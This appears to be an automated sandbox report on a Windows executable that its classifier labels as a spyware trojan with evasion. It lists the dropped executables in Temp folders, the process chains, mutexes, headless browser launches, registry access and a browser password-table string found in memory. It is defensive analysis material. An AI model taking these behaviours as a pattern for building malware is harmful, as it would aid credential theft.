Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089BA48	0_2_0089BA48
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00891B1B	0_2_00891B1B
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A7C9D	0_2_008A7C9D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00899C10	0_2_00899C10
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089DC20	0_2_0089DC20
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A3D30	0_2_008A3D30
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00895EE0	0_2_00895EE0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A3E30	0_2_008A3E30
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089DE40	0_2_0089DE40
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BDFB0	0_2_008BDFB0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A5F7D	0_2_008A5F7D
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EA3D0	5_2_006EA3D0
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EC100	5_2_006EC100
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006FA270	5_2_006FA270
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EC2F0	5_2_006EC2F0
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_0070A2BA	5_2_0070A2BA
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F2380	5_2_006F2380
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006ED7C0	5_2_006ED7C0
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F7C47	5_2_006F7C47
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00704C03	5_2_00704C03
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006F0E5C	5_2_006F0E5C
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F8A16B	5_2_00F8A16B
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FB0278	5_2_00FB0278
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F88223	5_2_00F88223
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F844E1	5_2_00F844E1
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FA069C	5_2_00FA069C
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FB8740	5_2_00FB8740
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FB2844	5_2_00FB2844
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F86F98	5_2_00F86F98
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FA0F60	5_2_00FA0F60
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F8B05C	5_2_00F8B05C
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F85533	5_2_00F85533
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FB56D4	5_2_00FB56D4
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FAFB10	5_2_00FAFB10
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F85DB8	5_2_00F85DB8
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00FB5EC0	5_2_00FB5EC0
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F83F55	5_2_00F83F55
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_00F8BF24	5_2_00F8BF24
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00211160	6_2_00211160
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00217945	6_2_00217945
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00222AF1	6_2_00222AF1
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003BA16B	7_2_003BA16B
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B8223	7_2_003B8223
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003E0278	7_2_003E0278
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B44E1	7_2_003B44E1
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003D069C	7_2_003D069C
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003E8740	7_2_003E8740
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003E2844	7_2_003E2844
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003D0F60	7_2_003D0F60
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B6F98	7_2_003B6F98
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003BB05C	7_2_003BB05C
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B5533	7_2_003B5533
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003E56D4	7_2_003E56D4
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003DFB10	7_2_003DFB10
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B5DB8	7_2_003B5DB8
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003E5EC0	7_2_003E5EC0
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003BBF24	7_2_003BBF24
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_003B3F55	7_2_003B3F55
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DA3D0	7_2_012DA3D0
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DD7C0	7_2_012DD7C0
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DC100	7_2_012DC100
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E2380	7_2_012E2380
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012EA270	7_2_012EA270
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012FA2BA	7_2_012FA2BA
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DC2F0	7_2_012DC2F0
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012F4C03	7_2_012F4C03
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E0E5C	7_2_012E0E5C
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012E7C47	7_2_012E7C47

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: String function: 00894A30 appears 76 times
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: String function: 0009214F appears 37 times
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: String function: 000F2610 appears 86 times
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: String function: 00888000 appears 55 times
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: String function: 003B1953 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: String function: 00413018 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: String function: 012E1430 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: String function: 00217900 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: String function: 00FE3018 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: String function: 00F81953 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: String function: 006F1430 appears 56 times

Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 660

Source: T4qO1i2Jav.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@103/556@21/9

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Code function: 5_2_006EB0A0 GetModuleFileNameA,CloseHandle,CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,QueryFullProcessImageNameW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,Process32Next,CloseHandle,DeleteFileW,

5_2_006EB0A0

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_008B6F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

0_2_008B6F90

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_000A68D8 GetModuleHandleA,FindResourceA,LoadResource,LockResource,

0_2_000A68D8

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\AOH7HHV9.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4312:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2000
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3652:120:WilError_03

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

File created: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Command line argument: n1"

6_2_002230C0

Source: T4qO1i2Jav.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: T4qO1i2Jav.exe, 00000000.00000003.1840871719.0000000003B19000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: T4qO1i2Jav.exe	Virustotal: Detection: 69%
Source: T4qO1i2Jav.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

File read: C:\Users\user\Desktop\T4qO1i2Jav.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\T4qO1i2Jav.exe "C:\Users\user\Desktop\T4qO1i2Jav.exe"
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process created: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe "C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe"
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process created: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe "C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe"
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Process created: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe 1228
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe 0
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:792 CREDAT:17410 /prefetch:2
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2160,i,12527746652570324992,7600821867154545045,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460 --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe "C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe"
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5776 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:7880 CREDAT:17410 /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe 7936
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2020,i,14565097193169155363,15533658218866554394,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 660
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe "C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe"
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3548 CREDAT:9474 /prefetch:2
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1016 --field-trial-handle=2076,i,3765983385279909395,18258713166015416735,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2036,i,8421648618134585066,14207088546948016644,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe "C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe"
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe 9316
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 644
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process created: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe "C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe"	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process created: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe "C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Process created: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe 1228	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe 0	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:792 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
